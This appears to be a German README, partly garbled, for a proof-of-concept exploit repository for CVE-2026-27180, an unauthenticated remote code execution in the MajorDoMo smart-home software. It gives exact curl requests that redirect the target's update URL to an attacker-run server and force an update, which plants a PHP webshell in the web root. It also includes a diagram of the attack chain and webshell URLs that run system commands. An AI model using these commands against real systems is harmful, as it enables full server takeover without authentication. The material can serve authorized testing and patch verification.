
Proof-of-Concept-Exploit für CVE-2026-27180, eine nicht authentifizierte RCE in MajorDoMo über Update-URL-Poisoning, die eine Webshell in das Web-Root ausliefert.
Unauthentifizierte Remote-Code-Ausführung durch Update-URL-Poisoning in MajorDoMo
CWE-494 – Download von Code ohne Integritätsprüfung
Auswirkung: Vollständige Serverkompromittierung durch Webshell im Web-Root
Erforderliche Authentifizierung: Keine
Patch: PR #1177
Dieses Repository enthält einen Proof-of-Concept-Exploit für – eine kritische, unauthentifizierte Remote-Code-Ausführungs-Schwachstelle in der Smart-Home-Automatisierungssoftware .
Ein Angreifer kann:
Die Schwachstelle besteht, weil:
auto_update_settings und force_update-ModiCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess zur Erzwingung der PHP-Ausführunggit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# Kein pip install erforderlich – nutzt nur Standardbibliothek + argparse
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
Starten Sie den bösartigen Server:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
Nachdem der Server gestartet ist, führen Sie diese Befehle gegen das Ziel aus:
# 1. Update-Quelle manipulieren (Poisoning)
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. Erzwungenes Update auslösen
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
Warten Sie 10–90 Sekunden und testen Sie dann die Webshell:
# Beispiele:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
Dieser Code wird ausschließlich für Bildungszwecke, autorisierte Sicherheitstests und Red-Teaming-Aktivitäten bereitgestellt.
MIT-Lizenz
Copyright © 2026 Mohammed Idrees Banyamer
Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die „Software") erhält, kostenlos die Erlaubnis erteilt, die Software ohne Einschränkung zu nutzen, einschließlich und ohne Einschränkung der Rechte zur Verwendung, Vervielfältigung, Änderung, Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder zum Verkauf von Kopien der Software, und Personen, denen die Software bereitgestellt wird, dies unter folgenden Bedingungen zu gestatten:
Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.
DIE SOFTWARE WIRD „WIE BESEHEN" BEREITGESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER IMPLIZITE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN DRITTER. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERRECHTSINHABER FÜR ANSPRÜCHE, SCHÄDEN ODER ANDERE HAFTUNGEN VERANTWORTLICH, SEI ES AUS VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IM ZUSAMMENHANG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.